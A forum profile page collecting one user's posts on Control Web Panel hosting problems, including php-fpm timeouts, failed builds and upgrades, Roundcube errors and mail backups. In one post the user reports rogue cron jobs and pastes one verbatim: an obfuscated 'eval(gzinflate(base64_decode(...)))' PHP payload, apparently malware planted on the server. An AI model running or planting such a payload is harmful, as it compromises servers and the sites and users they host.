Jump to content

leisegang

Priority Members
  • Joined

  • Last visited

Posts posted by leisegang

  1. Posted ·

    Edited by leisegang

    [Wed May 21 00:34:42.824943 2025] [proxy_fcgi:error] [pid 296120:tid 296160] (70007)The timeout specified has expired: [client xxx:43672] AH01075: Error dispatching request to : (polling)

    Connection refused: AH02454: FCGI: attempt to connect to Unix domain socket /opt/alt/php-fpm82/usr/var/sockets/domain.sock (localhost:8000) failed

    AH01079: failed to make connection to backend: localhost

    I Get this error EVERY night at around 00-02 the only way to get the page up again is by restarting the php-fpm service.

    All other sites on the server are online only 1 page goes down. i cant figure out what causes this. Any ideas?

  2. Posted ·

    Edited by leisegang

    Some users are creating cron jobs under their usename. How can i make shure that this stops? looks like this:


    /usr/bin/php -r 'eval(gzinflate(base64_decode("jVJrb5swFP2eX8GkSCRqNUHbpIqmaWvTkidLQxriME0RGFMMxjAwUJj632fIsw9p8wd8jc85995z3YjcqB9SRzcJtk2GWuL6MZRmlEUz7+YalqGs3oV4euFm1mqZGUFPWgdKYg06BAbzDA51bA2IBy5cyVrlmX15w8xVx7OGum8AlXN0ab3o5ObwBs8u/K76yMqZ51/N8PjMAIZrKQyBvgst8lyARQQn9VmzJyT3gcxup3pko9LoreQOXMnSb6AwC5Ccgv6YYxgcyzkGS3epK7eOdqdK6nKsaMruv861FJnjnu2KP9E5v08s4DF74rEzWIyuzcewmF2qXbUcdUf+LbF5b5O+5iwlfaH7+mJV2CNd0eZAmpc/7pS+tpxTsPCvR17lj1r5U6pliB3SgbCIApv3bg9IxvspJ5d6bgwUydB7zACaW8Vr0GGc2xPbXxpOSiHDIRXeTqCZoLgt/Gk0BL4ITpjQajopIQ8mc8+FZlIkDAX3NOMxDG3Et8hkDMW0LXwVUsrZmEuVqGWZCepebWxUwbayPG+l2kzCNIaI4x1M0OYJsQ0MKUOUJcdcOyx2hFYUo6dNYDLotl7l38q0q2qF3YoRS2O6pb4cBD6dKuzKPfB5UN+g5B9K29oxhWEcI8g09ISeeQ8JizcxiogJ+fNFovBZEDOz3oh4Lojfv5lxXB/NQjw1cG8GRfli70dd517sTSquJR6b/oB8Wsi+pZ/Sr92geAUPw4fN/WzKo9fXB5Gd6vHzzrxT+4+0//GtGnXAcLAfex2fjFs4E2RpS0spwdR/9xTqxxKlHz2WD5pgYVoVfII4ZOWIl8Zf")));'

  3. ·

    Edited by leisegang

    ip route

    default via 46.xx.xx.1 dev enp4s0 proto static metric 100

    46.xx.xx.0/26 dev enp4s0 proto kernel scope link src 46.xx.xx.16 metric 100

    46.xx.xx.44 is my main ip.

    Also both uses the same interface when running vnstat

    ns1.domain.com -> 46.xx.xx.44
    ns2.domain.com -> 46.xx.xx.16

    In february i used 11gb bandwith on the secondary. So far in march i have used 97gb

  4. ·

    Edited by leisegang

    i get this error:

    make: *** [Makefile:314: sapi/cli/php] Error 1

    shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory

    /usr/local/cwpsrv/htdocs/resources/conf/el8/php-fpm_selector/external_modules/8.3/sodium.sh: line 9: /opt/alt/php-fpm83/usr/bin/phpize: No such file or directory

    /usr/local/cwpsrv/htdocs/resources/conf/el8/php-fpm_selector/external_modules/8.3/sodium.sh: line 10: ./configure: No such file or directory

    make: *** No targets specified and no makefile found. Stop.

    make: *** No rule to make target 'install'. Stop.

    /usr/local/cwpsrv/htdocs/resources/conf/el8/php-fpm_selector/external_modules/8.3/sodium.sh: line 14: /opt/alt/php-fpm83/usr/bin/php-config: No such file or directory

    ERROR: Missing extension file /sodium.so

    exe:/opt/alt/php-fpm83/usr/sbin/php-fpm

    Build Completed

    ###################

    Error:Can't add notification!

  5. i just made a module and ran this in the module file:

    <?php
    if ( !isset( $include_path ) )
    {
        echo "invalid access";
        exit( );
    }
    $phpversion1 = shell_exec("grep php-fpm74 /usr/local/apache/conf.d/vhosts/*");
    echo "<h2>PHP Version 7.4</h2><pre>".$phpversion1."</pre>";
    echo "<br><br>";
    
    
    $phpversion2 = shell_exec("grep php-fpm82 /usr/local/apache/conf.d/vhosts/*");
    echo "<h2>PHP Version 8.2</h2><pre>".$phpversion2."</pre>";
    echo "<br><br>";
    
    
    $phpversion3 = shell_exec("grep php-fpm83 /usr/local/apache/conf.d/vhosts/*");
    echo "<h2>PHP Version 7.3</h2><pre>".$phpversion3."</pre>";
    echo "<br><br>";
    
    $phpversion4 = shell_exec("grep php-fpm84 /usr/local/apache/conf.d/vhosts/*");
    echo "<h2>PHP Version 8.4</h2><pre>".$phpversion4."</pre>";
    echo "<br><br>";
    ?>
  6. Posted

    Is there a way to get it to backup it to a TAR without it beeing compressed?
    I have several large mail accounts that use like 2 hours to backup.
    OR is there a way to do a sort of manual script for backup that is possible to then again import if i need to recover an account?

    One of my accounts started backup at:
    2024-12-29 01:59:06
    and finished at
    2024-12-29 05:30:39
    its like 15gb account, and of those there are like 13GB emails.

    IF i could just make my backups faster and have the possibility to import it again i would like that.

  7. Posted

    Last metadata expiration check: 2:12:41 ago on Fri Oct  4 13:52:58 2024.
    Dependencies resolved.
    ================================================================================
     Package             Architecture     Version               Repository     Size
    ================================================================================
    Upgrading:
     cwp-httpd           x86_64           2.4.62-1              cwp           5.7 M
    
    Transaction Summary
    ================================================================================
    Upgrade  1 Package
    
    Total download size: 5.7 M
    Downloading Packages:
    cwp-httpd-2.4.62-1.x86_64.rpm                   8.2 MB/s | 5.7 MB     00:00    
    --------------------------------------------------------------------------------
    Total                                           8.2 MB/s | 5.7 MB     00:00     
    Running transaction check
    Transaction check succeeded.
    Running transaction test
    Transaction test succeeded.
    Running transaction
      Preparing        :                                                        1/1 
      Running scriptlet: cwp-httpd-2.4.62-1.x86_64                              1/2 
      Upgrading        : cwp-httpd-2.4.62-1.x86_64                              1/2 
      Verifying        : cwp-httpd-2.4.62-1.x86_64                              1/2 
      Verifying        : cwp-httpd-2.4.57-1.x86_64                              2/2 
    
    Failed:
      cwp-httpd-2.4.57-1.x86_64              cwp-httpd-2.4.62-1.x86_64    

    I get this when trying to update cwp-httpd. Any idea why?

  8. ·

    Edited by leisegang

    Been looking in the logs and i find this:

    Quote

    [25-Jun-2024 11:45:37 Europe/Oslo] PHP Fatal error:  Uncaught Error: Class 'Spoofchecker' not found in /usr/local/cwpsrv/var/services/roundcube/program/lib/Roundcube/rcube_spoofchecker.php:50
    Stack trace:
    #0 /usr/local/cwpsrv/var/services/roundcube/program/actions/mail/index.php(1400): rcube_spoofchecker::check('snn.no')
    #1 /usr/local/cwpsrv/var/services/roundcube/program/actions/mail/index.php(523): rcmail_action_mail_index::address_string('Richard Balstad...', 3, false, NULL, NULL)
    #2 /usr/local/cwpsrv/var/services/roundcube/program/actions/mail/list.php(123): rcmail_action_mail_index::js_message_list(Array, false, Array)
    #3 /usr/local/cwpsrv/var/services/roundcube/program/include/rcmail.php(275): rcmail_action_mail_list->run(Array)
    #4 /usr/local/cwpsrv/var/services/roundcube/index.php(283): rcmail->action_handler()
    #5 {main}
      thrown in /usr/local/cwpsrv/var/services/roundcube/program/lib/Roundcube/rcube_spoofchecker.php on line 50
     

    How can i fix that?

  9. Posted ·

    Edited by leisegang

    Roundcube Webmail 1.5.6

    https://xxxx.com/roundcube/?_task=mail&_action=list&_refresh=1&_layout=widescreen&_mbox=INBOX&_page=1&_remote=1&_unlock=loading1719308387542&_=1719308382134 500 (Internal Server Error)

     

    does not load any mail at all. just tried a reinstall of the instructions here:

    it gives a red box in the right lower corner that says "Server error! (error)"